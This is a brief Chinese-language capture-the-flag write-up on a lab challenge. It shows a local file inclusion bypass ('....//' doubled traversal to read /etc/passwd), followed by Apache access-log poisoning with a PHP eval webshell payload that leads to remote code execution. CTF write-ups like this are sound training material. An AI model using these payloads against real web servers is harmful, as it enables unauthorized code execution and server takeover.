[CSCCTF 2019 Final]lofiai
解题步骤
点开首页,然后更换语言之后,url出现了php文件传参。尝试直接读取/etc/passwd
无果,尝试php伪协议也不行。然后用../发现会置空,所以直接双写绕过。读取到/etc/passwd
:
http://b38f70e4-2e5c-414e-b617-450c0e43fcd6.node4.buuoj.cn:81/?lang=....//....//....//....//etc/passwd
但是没有flag文件,需要getshell。session包含不行,应该想到日志包含。读取/proc/self/cmdline
发现是apache2:
搜一下apache2的默认日志路径:
然后读取
access.log
发现会记录每次请求的内容,直接写shell:http://b38f70e4-2e5c-414e-b617-450c0e43fcd6.node4.buuoj.cn:81/?lang=<?=eval($_POST['asd']);?>
中括号里面必须单引号,要不然就无了这个需要用burpsuite发包,要不然浏览器会自动urlencode,导致写shell失败。然后直接包含rce即可